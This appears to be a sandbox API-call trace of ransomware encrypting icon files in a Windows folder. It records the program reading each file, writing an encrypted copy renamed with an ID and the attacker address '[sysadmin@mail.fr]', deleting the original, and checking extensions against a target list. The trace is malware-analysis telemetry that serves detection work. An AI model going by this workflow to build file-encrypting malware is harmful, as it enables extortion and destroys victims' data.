	[0042.755] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.756] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0042.756] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.756] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.756] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0042.756] GetLastError () returned 0x0
	[0042.756] ReadFile (in: hFile=0x34c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x37e, lpOverlapped=0x0) returned 1
	[0042.804] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0x380, lpOverlapped=0x0) returned 1
	[0042.804] ReadFile (in: hFile=0x34c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.805] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0xea, lpOverlapped=0x0) returned 1
	[0042.805] SetEndOfFile (hFile=0x350) returned 1
	[0042.805] CloseHandle (hObject=0x350) returned 1
	[0042.805] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.805] SetEndOfFile (hFile=0x34c) returned 1
	[0042.806] CloseHandle (hObject=0x34c) returned 1
	[0042.806] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.806] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1
	[0042.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0042.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0042.807] lstrlenW (lpString=".doc") returned 4
	[0042.807] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.807] lstrlenW (lpString=".docx") returned 5
	[0042.807] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1
	[0042.807] lstrlenW (lpString=".pdf") returned 4
	[0042.807] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.807] lstrlenW (lpString=".xls") returned 4
	[0042.807] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.807] lstrlenW (lpString=".xlsx") returned 5
	[0042.807] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1
	[0042.807] lstrlenW (lpString=".ppt") returned 4
	[0042.807] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0042.807] lstrlenW (lpString=".zip") returned 4
	[0042.807] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.807] lstrlenW (lpString=".rar") returned 4
	[0042.807] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.807] lstrlenW (lpString=".bz2") returned 4
	[0042.807] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.807] lstrlenW (lpString=".7z") returned 3
	[0042.807] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0042.807] lstrlenW (lpString=".dbf") returned 4
	[0042.807] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0042.807] lstrlenW (lpString=".1cd") returned 4
	[0042.807] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0042.807] lstrlenW (lpString=".jpg") returned 4
	[0042.807] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0042.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0042.808] lstrlenW (lpString=".doc") returned 4
	[0042.808] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.808] lstrlenW (lpString=".docx") returned 5
	[0042.808] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1
	[0042.808] lstrlenW (lpString=".pdf") returned 4
	[0042.808] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.808] lstrlenW (lpString=".xls") returned 4
	[0042.808] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.808] lstrlenW (lpString=".xlsx") returned 5
	[0042.808] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1
	[0042.808] lstrlenW (lpString=".ppt") returned 4
	[0042.808] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0042.808] lstrlenW (lpString=".zip") returned 4
	[0042.808] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.808] lstrlenW (lpString=".rar") returned 4
	[0042.808] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.808] lstrlenW (lpString=".bz2") returned 4
	[0042.808] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.808] lstrlenW (lpString=".7z") returned 3
	[0042.808] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0042.808] lstrlenW (lpString=".dbf") returned 4
	[0042.808] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0042.808] lstrlenW (lpString=".1cd") returned 4
	[0042.808] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42
	[0042.808] lstrlenW (lpString=".jpg") returned 4
	[0042.808] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.808] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.809] lstrlenW (lpString="Rotate5.ico") returned 11
	[0042.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0042.809] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=894) returned 1
	[0042.809] CloseHandle (hObject=0x34c) returned 1
	[0042.809] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80
	[0042.809] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0042.809] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.809] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0042.809] GetLastError () returned 0x0
	[0042.809] ReadFile (in: hFile=0x34c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x37e, lpOverlapped=0x0) returned 1
	[0042.857] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0x380, lpOverlapped=0x0) returned 1
	[0042.857] ReadFile (in: hFile=0x34c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.858] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0xea, lpOverlapped=0x0) returned 1
	[0042.858] SetEndOfFile (hFile=0x350) returned 1
	[0042.858] CloseHandle (hObject=0x350) returned 1
	[0042.858] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.858] SetEndOfFile (hFile=0x34c) returned 1
	[0042.859] CloseHandle (hObject=0x34c) returned 1
	[0042.859] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.859] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 1
	[0042.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0042.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0042.860] lstrlenW (lpString=".doc") returned 4
	[0042.860] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.860] lstrlenW (lpString=".docx") returned 5
	[0042.860] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1
	[0042.860] lstrlenW (lpString=".pdf") returned 4
	[0042.860] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.860] lstrlenW (lpString=".xls") returned 4
	[0042.860] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.860] lstrlenW (lpString=".xlsx") returned 5
	[0042.860] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1
	[0042.860] lstrlenW (lpString=".ppt") returned 4
	[0042.860] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0042.860] lstrlenW (lpString=".zip") returned 4
	[0042.860] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.860] lstrlenW (lpString=".rar") returned 4
	[0042.860] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.860] lstrlenW (lpString=".bz2") returned 4
	[0042.860] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.860] lstrlenW (lpString=".7z") returned 3
	[0042.860] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0042.860] lstrlenW (lpString=".dbf") returned 4
	[0042.860] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0042.860] lstrlenW (lpString=".1cd") returned 4
	[0042.860] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0042.860] lstrlenW (lpString=".jpg") returned 4
	[0042.861] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0042.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0042.861] lstrlenW (lpString=".doc") returned 4
	[0042.861] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.861] lstrlenW (lpString=".docx") returned 5
	[0042.861] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1
	[0042.861] lstrlenW (lpString=".pdf") returned 4
	[0042.861] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.861] lstrlenW (lpString=".xls") returned 4
	[0042.861] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.861] lstrlenW (lpString=".xlsx") returned 5
	[0042.861] lstrcmpiW (lpString1=".xlsx", lpString2="5.ico") returned -1
	[0042.861] lstrlenW (lpString=".ppt") returned 4
	[0042.861] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0042.861] lstrlenW (lpString=".zip") returned 4
	[0042.861] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.861] lstrlenW (lpString=".rar") returned 4
	[0042.861] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.861] lstrlenW (lpString=".bz2") returned 4
	[0042.861] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.861] lstrlenW (lpString=".7z") returned 3
	[0042.861] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0042.861] lstrlenW (lpString=".dbf") returned 4
	[0042.861] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0042.861] lstrlenW (lpString=".1cd") returned 4
	[0042.861] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 42
	[0042.861] lstrlenW (lpString=".jpg") returned 4
	[0042.861] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.861] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.862] lstrlenW (lpString="Save.ico") returned 8
	[0042.862] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0042.862] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=1150) returned 1
	[0042.862] CloseHandle (hObject=0x34c) returned 1
	[0042.862] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80
	[0042.862] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.862] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0042.862] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.862] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.862] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0042.862] GetLastError () returned 0x0
	[0042.862] ReadFile (in: hFile=0x34c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x47e, lpOverlapped=0x0) returned 1
	[0042.920] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0x480, lpOverlapped=0x0) returned 1
	[0042.921] ReadFile (in: hFile=0x34c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.921] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0xe4, lpOverlapped=0x0) returned 1
	[0042.921] SetEndOfFile (hFile=0x350) returned 1
	[0042.922] CloseHandle (hObject=0x350) returned 1
	[0042.922] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.922] SetEndOfFile (hFile=0x34c) returned 1
	[0042.923] CloseHandle (hObject=0x34c) returned 1
	[0042.923] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.923] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1
	[0042.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0042.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0042.924] lstrlenW (lpString=".doc") returned 4
	[0042.924] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.924] lstrlenW (lpString=".docx") returned 5
	[0042.924] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1
	[0042.924] lstrlenW (lpString=".pdf") returned 4
	[0042.924] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.924] lstrlenW (lpString=".xls") returned 4
	[0042.924] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.924] lstrlenW (lpString=".xlsx") returned 5
	[0042.924] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1
	[0042.924] lstrlenW (lpString=".ppt") returned 4
	[0042.924] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0042.924] lstrlenW (lpString=".zip") returned 4
	[0042.924] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.924] lstrlenW (lpString=".rar") returned 4
	[0042.924] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.924] lstrlenW (lpString=".bz2") returned 4
	[0042.924] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.924] lstrlenW (lpString=".7z") returned 3
	[0042.924] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0042.924] lstrlenW (lpString=".dbf") returned 4
	[0042.924] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0042.924] lstrlenW (lpString=".1cd") returned 4
	[0042.924] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0042.925] lstrlenW (lpString=".jpg") returned 4
	[0042.925] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0042.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0042.925] lstrlenW (lpString=".doc") returned 4
	[0042.925] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0042.925] lstrlenW (lpString=".docx") returned 5
	[0042.925] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1
	[0042.925] lstrlenW (lpString=".pdf") returned 4
	[0042.925] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0042.925] lstrlenW (lpString=".xls") returned 4
	[0042.925] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0042.925] lstrlenW (lpString=".xlsx") returned 5
	[0042.925] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1
	[0042.925] lstrlenW (lpString=".ppt") returned 4
	[0042.925] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0042.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0042.925] lstrlenW (lpString=".zip") returned 4
	[0042.925] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0042.925] lstrlenW (lpString=".rar") returned 4
	[0042.925] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0042.925] lstrlenW (lpString=".bz2") returned 4
	[0042.925] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0042.925] lstrlenW (lpString=".7z") returned 3
	[0042.925] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0042.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0042.925] lstrlenW (lpString=".dbf") returned 4
	[0042.925] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0042.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0042.925] lstrlenW (lpString=".1cd") returned 4
	[0042.925] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0042.926] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39
	[0042.926] lstrlenW (lpString=".jpg") returned 4
	[0042.926] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0042.926] lstrcmpiW (lpString1=".ico", lpString2=".yG") returned -1
	[0042.926] lstrlenW (lpString="warn.ico") returned 8
	[0042.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0042.926] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=10134) returned 1
	[0042.926] CloseHandle (hObject=0x34c) returned 1
	[0042.926] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80
	[0042.926] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0042.926] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.927] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.927] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0042.927] GetLastError () returned 0x0
	[0042.927] ReadFile (in: hFile=0x34c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x2796, lpOverlapped=0x0) returned 1
	[0043.038] WriteFile (in: hFile=0x350, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0x27a0, lpOverlapped=0x0) returned 1
	[0043.039] ReadFile (in: hFile=0x34c, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1
